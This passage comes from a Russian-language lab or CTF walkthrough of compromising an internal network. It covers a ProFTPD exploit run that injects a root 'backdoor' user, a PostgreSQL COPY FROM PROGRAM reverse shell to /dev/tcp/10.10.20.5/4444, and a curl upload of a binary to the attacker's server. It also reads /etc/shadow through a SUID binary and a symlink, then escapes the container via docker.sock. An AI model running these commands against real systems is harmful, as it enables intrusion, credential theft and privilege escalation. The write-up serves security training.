\u0414\u0430\u043b\u0435\u0435 \u044f \u043f\u043e\u0444\u0430\u0437\u0438\u043b \u0435\u0449\u0435 \u0440\u0430\u0437\u043e\u043a \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u0438 \u0442\u0430\u043c \u0444\u0430\u0439\u043b status.txt<\/code> \u0441\u043c\u0435\u043d\u0438\u043b \u0432\u0435\u0441, \u0438 \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c. \u0422\u0430\u043c \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0441\u043b\u043e\u0432\u043e \"opened\"<\/code>.<\/p>\n
\u042d\u0442\u043e \u0441\u0440\u0430\u0437\u0443 \u043c\u0435\u043d\u044f \u043d\u0430\u0432\u0435\u043b\u043e \u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u043e\u0442\u043a\u0440\u044b\u0442\u044c\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u043e\u0440\u0442.<\/p>\n
\u041a\u0441\u0442\u0430\u0442\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, nmap<\/code> \u043f\u043e\u0434 ligolo-ng<\/code> \u0441\u043a\u0430\u043d\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e.<\/p>\n
PORT     STATE SERVICE    VERSION21\/tcp   open  ftp        ProFTPD80\/tcp   open  http       nginx| http-methods: |_  Supported Methods: GET HEAD POST|_http-title: Vault2 \\xE2\\x80\\x94 SECURE ACCESS| http-cookie-flags: |   \/: |     PHPSESSID: |_      httponly flag not set5432\/tcp open  postgresql PostgreSQL DB<\/code>
<\/a><\/div><\/pre>\n
\u0423 \u043d\u0430\u0441 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c 2 \u043d\u043e\u0432\u044b\u0445 \u043f\u043e\u0440\u0442\u0430. \u041d\u0443\u0436\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043c \u0441 \u0444\u0442\u043f.<\/p>\n
ftp 10.10.20.227                                                                                                Connected to 10.10.20.227.220 ProFTPD Server (1.3.9) [::ffff:172.18.0.3]<\/code>
<\/a><\/div><\/pre>\n
\u041d\u0430 \u044d\u0442\u0443 \u0432\u0435\u0440\u0441\u0438\u044e proftpd \u0435\u0441\u0442\u044c cve, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0440\u0430\u0437\u0443 \u043c\u043e\u0436\u0435\u0442 \u0434\u0430\u0442\u044c rce \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041d\u043e \u043e\u043d\u0430 \u0443 \u043c\u0435\u043d\u044f \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u0445\u043e\u0442\u0435\u043b\u0430 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c. CVE-2026-42167<\/a><\/p>\n
RCE<\/code> \u043c\u043d\u0435 \u043d\u0435 \u043f\u0440\u0438\u043b\u0435\u0442\u0435\u043b, \u043e\u0434\u043d\u0430\u043a\u043e \u0431\u044d\u043a\u0434\u043e\u0440 \u0432 \u0444\u0442\u043f \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.<\/p>\n
 ~  python3 preauth_user_backdoor.py --host 10.10.20.227 --port 21 ======================================================================CVE-2026-42167: Pre-auth backdoor injection via is_escaped_text() bypass======================================================================[*] Connecting to 10.10.20.227:21...[*] Banner: 220 ProFTPD Server (1.3.9) [::ffff:172.18.0.3][*] Verifying 'backdoor' doesn't exist yet...[*] Confirmed: login rejected (530)[*] Injecting backdoor user via SQL injection (pre-auth)...[*] Payload: 101 bytes, passes is_escaped_text() check[*] Injection sent (login fails \u2014 injection fires via ERR_* SQLLog)[*] Logging in as injected user 'backdoor'...    220 ProFTPD Server (1.3.9) [::ffff:172.18.0.3]    331 Password required for backdoor    230 User backdoor logged in    257 \"\/\" is the current directory    221 Goodbye.[+] SUCCESS \u2014 User 'backdoor' injected and login confirmed![+] Homedir is \/ with uid=0 \u2014 full filesystem access[+] VERDICT: TRUE POSITIVE \u2014 Pre-auth SQLi \u2192 root FTP access======================================================================<\/code>
<\/a><\/div><\/pre>\n
\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u0443\u0437\u043d\u0430\u0442\u044c \u043a\u0430\u043a\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0438 \u043b\u043e\u0433\u0438\u043d\u0438\u043c\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044e\u0437\u0435\u0440\u0430 backdoor<\/code>.<\/p>\n
\u0417\u0434\u0435\u0441\u044c \u044f \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u043e \u0438\u0441\u043a\u0430\u043b \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c. \u0414\u043e\u043c\u0430\u0448\u043d\u044f\u044f \u043f\u0430\u043f\u043a\u0430 \u043f\u0443\u0441\u0442\u0430, \u0444\u043b\u0430\u0433\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u044d\u0442\u043e \u0431\u044b\u043b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438.<\/p>\n
\u0412\u043e\u043e\u0431\u0449\u0435\u043c \u043f\u043e\u0441\u043b\u0435 \u043c\u043d\u043e\u0433\u043e\u0447\u0430\u0441\u043e\u0432\u044b\u0445 \u043f\u043e\u0438\u0441\u043a\u043e\u0432, \u044f \u043d\u0430\u0448\u0435\u043b \u0444\u0430\u0439\u043b \/etc\/proftpd\/proftpd<\/code>.conf \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b\u0438 \u043a\u0440\u0435\u0434\u044b \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 postgres.<\/p>\n
\"\u041a\u0440\u0435\u0434\u044b<\/p>\n
\u041a\u0440\u0435\u0434\u044b \u043e\u0442 postgres<\/figcaption><\/div>\n<\/figure>\n
\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0441\u044f \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.<\/p>\n
\"\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f<\/p>\n
\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a \u0431\u0430\u0437\u0435<\/figcaption><\/div>\n<\/figure>\n
\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u0440\u0430\u0432\u0430 \u0438 \u0432\u0438\u0434\u0438\u043c superuser, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u0441\u0435\u0431\u0435 \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b.<\/p>\n
\u0412\u043e\u0442 \u043d\u0430 \u044d\u0442\u043e\u043c \u043c\u043e\u043c\u0435\u043d\u0442\u0435 \u044f \u0442\u043e\u0436\u0435 \u0437\u0430\u0442\u0443\u043f\u0438\u043b \u0438 \u043a\u0438\u0434\u0430\u043b \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b\u044b, \u043d\u0430 \u043c\u043e\u044e \u043a\u0430\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0434\u0441\u0435\u0442\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a \u0437\u0430\u0431\u044b\u043b, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u0440\u043e\u0448\u0435\u043d \u0442\u0443\u043d\u0435\u043b\u044c \u0447\u0435\u0440\u0435\u0437 ligolo<\/code>. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u0434\u043d\u0438\u043c\u0435\u043c \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0432\u0438\u043d\u0434\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f.<\/p>\n
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444<\/code>
<\/a><\/div><\/pre>\n
CREATE TABLE shell(output text);COPY shell FROM PROGRAM 'bash -c \"bash -i >& \/dev\/tcp\/10.10.20.5\/4444 0>&1\"';<\/code>
<\/a><\/div><\/pre>\n
\"Postgres<\/p>\n
Postgres \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b<\/figcaption><\/div>\n<\/figure>\n
\u0420\u0435\u0432\u0435\u0440\u0441 \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e\u0433\u043e \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 \u0438 \u043f\u044f\u0442\u044b\u0439 \u0444\u043b\u0430\u0433<\/h3>\n
\u041a\u0430\u043a \u0443\u0436\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e \u0438\u0437 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u044d\u0442\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u043f\u0440\u0438 \u0447\u0435\u043c \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c postgres<\/code>, \u0430 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0443\u0436\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435.<\/p>\n
\u041c\u043e\u0436\u043d\u043e \u0438 \u043b\u0438\u043d\u043f\u0438\u0441 \u0432\u0433\u0440\u0443\u0437\u0438\u0442\u044c, \u043d\u043e \u044f \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0440\u0443\u043a\u0430\u043c\u0438 \u0441\u0443\u0434\u043d\u0438\u043a\u0438 \u0438 \u0433\u043b\u0430\u0437 \u0437\u0430\u0446\u0435\u043f\u0438\u043b\u0441\u044f \u043d\u0430 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \/usr\/bin\/cati<\/code>.<\/p>\n
postgres@371e4381f56b:\/$ find . -perm \/4000find . -perm \/4000find: \u2018.\/root\u2019: Permission denied.\/usr\/bin\/su.\/usr\/bin\/chsh.\/usr\/bin\/newgrp.\/usr\/bin\/mount.\/usr\/bin\/umount.\/usr\/bin\/chfn.\/usr\/bin\/gpasswd.\/usr\/bin\/passwd.\/usr\/bin\/cati<\/code>
<\/a><\/div><\/pre>\n
\u041f\u0440\u0438 \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043d\u0438\u0447\u0435\u0433\u043e \u0432\u0438\u0434\u0438\u043c\u043e\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442, \u043a\u0430\u043a \u0431\u0443\u0434-\u0442\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f sh<\/code>, \u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043d\u0435\u0442. \u042d\u0442\u043e \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u043c \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u0431\u0443\u0434\u0435\u043c \u0440\u0435\u0432\u0435\u0440\u0441\u0438\u0442\u044c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 ghidra<\/code>.<\/p>\n
\u0412 \u044d\u0442\u043e\u043c \u043a\u043e\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 \u0435\u0441\u0442\u044c curl<\/code>, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043a\u0443\u0440\u043b\u043e\u043c \u0438 \u043f\u0438\u0442\u043e\u043d\u043e\u043c.<\/p>\n
\u0423 \u043d\u0430\u0441 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 \u043f\u0438\u0442\u043e\u043d\u0435, \u043d\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043c\u043e\u0434\u0443\u043b\u044f uploadserver<\/code>, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b, \u0430 \u043d\u0435 \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u043d\u0430 \u0442\u0430\u0447\u043a\u0443 \u043b\u0438\u043d\u043f\u0438\u0441.<\/p>\n
pip install uploadserverpython3 -m uploadserver 8000<\/code>
<\/a><\/div><\/pre>\n
\u0422\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043b\u0438\u0441\u0442\u0435\u043d\u0435\u0440 \u0432 \u043b\u0438\u0433\u043e\u043b\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a \u043d\u0435 \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c \u0433\u0434\u0435 \u043c\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u043c\u0441\u044f\u2026<\/p>\n
listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000<\/code>
<\/a><\/div><\/pre>\n
\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u0443\u0440\u043b\u0430 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a<\/p>\n
curl -F 'files=@\/usr\/bin\/cati' http:\/\/10.10.20.5:8000\/upload<\/code>
<\/a><\/div><\/pre>\n
\u0415\u0441\u043b\u0438 \u0432\u0441\u0435 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e, \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043e\u0442\u0441\u0442\u0443\u043a \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0441\u0430\u043c \u0444\u0430\u0439\u043b.<\/p>\n
python3 -m uploadserver 8000File upload available at \/uploadServing HTTP on 0.0.0.0 port 8000 (http:\/\/0.0.0.0:8000\/) ...127.0.0.1 - - [29\/Jun\/2026 17:29:27] [Uploaded] \"cati\" --> \/home\/den\/aclabs\/bank\/cati127.0.0.1 - - [29\/Jun\/2026 17:29:27] \"POST \/upload HTTP\/1.1\" 204 -<\/code>
<\/a><\/div><\/pre>\n
\u0421\u0435\u0439\u0447\u0430\u0441 \u0444\u0430\u0439\u043b \u043f\u0435\u0440\u0435\u0434\u0430\u043b\u0441\u044f \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0430 \u0431\u0443\u0434\u0443\u0449\u0435\u0435, \u0435\u0441\u043b\u0438 \u0441 \u0444\u0430\u0439\u043b\u043e\u043c, \u0447\u0442\u043e \u043d\u0435 \u0442\u0430\u043a, \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0445\u044d\u0448 \u0441\u0443\u043c\u043c\u0443.<\/p>\n
postgres@371e4381f56b:\/$ md5sum \/usr\/bin\/catimd5sum \/usr\/bin\/catibc47ec77ddd8241529723377d04cfcac  \/usr\/bin\/catimd5sum catibc47ec77ddd8241529723377d04cfcac  cati<\/code>
<\/a><\/div><\/pre>\n
\u0412 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0440\u0430\u0437 \u044f \u043f\u0435\u0440\u0435\u0434\u0430\u043b \u0444\u0430\u0439\u043b \u0447\u0435\u0440\u0435\u0437 postgres \u0438 \u043e\u043d \u0443 \u043c\u0435\u043d\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u043b\u0441\u044f \u043d\u0430 10 \u043a\u0431 \u043c\u0435\u043d\u044c\u0448\u0435, \u044f \u043d\u0435 \u0441\u0432\u0435\u0440\u0438\u043b \u0445\u044d\u0448 \u0441\u0443\u043c\u043c\u044b \u0438 \u0434\u0443\u043c\u0430\u043b, \u0447\u0442\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u043f\u043e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044e. \u041f\u0440\u0438 \u0440\u0435\u0432\u0435\u0440\u0441\u0435 \u0444\u0430\u0439\u043b \u0432\u044b\u0434\u0430\u0432\u0430\u043b \u043b\u044e\u0442\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0438 \u043d\u0435\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043a\u043e\u0434.<\/p>\n
\u0420\u0435\u0432\u0435\u0440\u0441\u0438\u043c.<\/p>\n
\"\u0410\u043d\u0430\u043b\u0438\u0437<\/p>\n
\u0410\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430 \u0432 ghidra<\/figcaption><\/div>\n<\/figure>\n
\u0422\u0435\u043f\u0435\u0440\u044c \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u0435\u0435, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442. \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f uid=0<\/code>, \u0430 \u044d\u0442\u043e \u0440\u0443\u0442, \u0438 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b \/var\/www\/html\/input<\/code>.<\/p>\n
\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043d\u0443\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u0442\u0430\u043a \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0447\u0438\u0442\u044c \u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u044e\u0437\u0435\u0440\u0430. \u0422\u0430\u043a\u0438\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f etc\/shadow<\/code>, \u0433\u0434\u0435 \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0445\u044d\u0448\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u0421\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.<\/p>\n
ln -s \/etc\/shadow \/var\/www\/html\/input<\/code>
<\/a><\/div><\/pre>\n
postgres@e29b8c5ed64a:~\/data$ \/usr\/bin\/cati\/usr\/bin\/catiroot:$6$nxGr5FDXne2CqqAp$ZHJIV059PkH8fZbt8s\/yXb4QjZLnSM3vGCAQf4rNpo9YF6wXXiYr5kt4uFxdAmwgkpIWJmmYQdakXuFqEhQx20:20578:0:99999:7:::daemon:*:20578:0:99999:7:::<\/code>
<\/a><\/div><\/pre>\n
\"\u0411\u0440\u0443\u0442\u0438\u043c<\/p>\n
\u0411\u0440\u0443\u0442\u0438\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u0440\u0443\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 hashcat<\/figcaption><\/div>\n<\/figure>\n
\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0445\u044d\u0448 \u0440\u0443\u0442\u0430, \u0431\u0440\u0443\u0442\u0438\u043c \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u0441\u044f \u0445\u043e\u0437\u044f\u0438\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u043f\u044f\u0442\u044b\u0439 \u0444\u043b\u0430\u0433.<\/p>\n
\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0444\u043b\u0430\u0433, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 (\u0438\u043b\u0438 \u043d\u0435\u0442?)<\/h3>\n
\u0420\u0443\u0442 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435, \u043d\u043e \u043d\u0435 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0449\u0435\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0432\u044b\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430.<\/p>\n
\u0420\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u043f\u043e\u0431\u0435\u0433\u0430 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0443\u044e \u0432\u0435\u0449\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f postgress<\/code>.<\/p>\n
ls -la \/var\/run\/docker.socksrw-rw---- 1 root 103 0 Jun 29 15:00 \/var\/run\/docker.sock<\/code>
<\/a><\/div><\/pre>\n
\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438<\/p>\n
\u0424\u0430\u0439\u043b \/var\/run\/docker.sock<\/code> \u2014 \u044d\u0442\u043e UNIX-\u0441\u043e\u043a\u0435\u0442, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 Docker-\u043a\u043b\u0438\u0435\u043d\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Docker-\u0434\u0435\u043c\u043e\u043d\u0443 (dockerd). \u0421\u0430\u043c \u0434\u0435\u043c\u043e\u043d Docker \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435 \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (root).<\/p>\n
\u0415\u0441\u043b\u0438 \u0432\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0435\u0441\u044c \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0438 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u044d\u0442\u043e\u0442 \u0441\u043e\u043a\u0435\u0442, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u201c\u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0442\u044c\u201d \u0434\u0435\u043c\u043e\u043d Docker \u043d\u0430 \u0445\u043e\u0441\u0442\u0435 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e. \u0414\u0435\u043c\u043e\u043d \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u0440\u0438\u0448\u0435\u043b \u0437\u0430\u043f\u0440\u043e\u0441 \u2014 \u0441 \u0445\u043e\u0441\u0442\u0430 \u0438\u043b\u0438 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0432\u0430\u0436\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u043e\u043a\u0435\u0442\u0443.<\/p>\n
\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u0438\u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u043c \u0445\u043e\u0441\u0442\u043e\u0432\u0443\u044e \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0435\u043c \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u043b\u0430\u0433.<\/p>\n
\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440<\/p>\n
curl -s --unix-socket \/var\/run\/docker.sock \\    -X POST http:\/\/localhost\/containers\/create \\    -H \"Content-Type: application\/json\" \\    -d '{        \"Image\": \"alpine\",        \"Cmd\": [\"ls\", \"-la\", \"var\/tmp\/root\"],        \"Binds\": [\"\/:\/var\/tmp\"],        \"Privileged\": true    }'<\/code>
<\/a><\/div><\/pre>\n
{\"Id\":\"7832d67d794a1454ed561fe17c44aa97b1240bd5848c4ab0056dfe835a548dd3\",\"Warnings\":[]}<\/code>
<\/a><\/div><\/pre>\n
